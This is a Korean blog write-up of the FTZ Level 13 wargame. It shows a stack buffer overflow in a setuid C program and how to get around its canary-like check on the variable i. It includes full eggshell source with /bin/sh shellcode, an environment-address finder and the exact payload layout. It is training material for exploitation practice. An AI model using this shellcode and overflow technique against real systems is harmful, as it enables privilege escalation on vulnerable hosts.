-
[FTZ Level13 풀이]System/FTZ 2018. 2. 16. 01:21
[Level13 Code]
1234567891011121314151617#include <stdlib.h>main(int argc, char *argv[]){long i=0x1234567;char buf[1024];setreuid( 3094, 3094 );if(argc > 1)strcpy(buf,argv[1]);if(i != 0x1234567) {printf(" Warnning: Buffer Overflow !!! \n");kill(0,11);}}cs Level13은 BOF공격을 좀 힘들게 만들어놨다.
변수 i가 buf보다 먼저 선언되어 있으므로, 일반적인 BOF공격을 시도한다면 i의 저장되어 있는 값이 변조될 것이다.
[Level13 Stack]
buf[1024]
i
SFP
RET
값은 왼쪽 buf[0]부터 저장을 시작하는데 무작정 A로 BOF시도를 한다면 중간 i값에도 A로 뒤덮여버린다.
long i의 값이 변조되면, 중간에 if문으로 BOF를 됐음을 감지하고 프로그램을 종료해버린다.
[BOF 감지후 종료]
이렇게 "Warnning: Buffer Overflow !!!" 라는 문자열을 내뿜고 종료되어 버린다.
나는 그래도 BOF를 사용하겠다! 라는 고집이 있어서 그냥 중간 i공간을 계산해서 그부분은 건들지 않고
RET공간까지 간 후, RET공간에 EGGShell로 만든 환경변수 주소를 넣어주는 식으로 쉘을 땄다.
[EGG Shell]
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455#include <stdlib.h>#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512#define DEFAULT_EGG_SIZE 2048#define NOP 0x90char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_esp(void) {__asm__("movl %esp,%eax");}int main(int argc, char *argv[]) {char *buff, *ptr, *egg;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i, eggsize=DEFAULT_EGG_SIZE;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (argc > 3) eggsize = atoi(argv[3]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.\n");exit(0);}if (!(egg = malloc(eggsize))) {printf("Can't allocate memory.\n");exit(0);}addr = get_esp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4){if(i == 1040){*(addr_ptr++) = 0x1234567;}else*(addr_ptr++) = addr;}ptr = egg;for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)*(ptr++) = NOP;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '\0';egg[eggsize - 1] = '\0';memcpy(egg,"EGG=",4);putenv(egg);memcpy(buff,"RET=",4);putenv(buff);system("/bin/bash");}cs 저번 풀이때도 말했지만, 여기서 출력되는 환경변수 주소는 실제 주소와 다르다.
따라서, 환경변수 주소를 알아내는 코드를 따로짜서 알아내야 한다.
[EGG getenv( )]
123456789#include <unistd.h>int main(int argc,char **argv){printf("%p\n",getenv("EGG"));return 0;}cs 환경변수 EGG의 실제주소는 [0xbffff465]인 것을 알아냈다.
이제 long i의 주소공간을 계산해서 그 부분의 값은 건들이지 않고 RET까지 도달해야 한다.
우선 buf[1024]이니까 1024까지 버퍼를 채운 후, 스택상황을 확인해보자
[A*1024 입력]
버퍼가 끝난 후, i는 12Byte뒤에 위치하고 있다.
그렇다면 1036만큼 A로 채워주고 그 뒤 4Byte는 [0x1234567]로 채워주면 i의 값은 변하지 않을 것이다.
[A*1036 입력]
자 A를 1036만큼 입력하고 그 뒤 4Byte는 i값으로 채운 후, 다시 BBBB를 입력해보았다.
스택 상황을 보면 i값은 변하지않고, 그 다음값은 42424242(BBBB)로 저장된 것을 확인할 수 있다.
이것으로 우리는 BOF방지코드를 우회할 수 있게되었다.
이제 EIP까지의 offset을 구해보자
EIP까지의 offset은 1052이다.
자이제 페이로드를 짜보도록 하자
PAYLOAD : buf[1036] + 0x1234567 + A*12 + EGGShell 주소
자 이것으로 Level13의 풀이를 마치도록 하겠다.
'System > FTZ' 카테고리의 다른 글
[FTZ Level15 풀이] (0) 2018.02.16 [FTZ Level14 풀이] (0) 2018.02.16 [FTZ Level12 풀이] (0) 2018.02.15 [FTZ Level11 풀이 ] (0) 2018.02.15 HackerSchool Level1 문제풀이 (1) 2017.10.05 댓글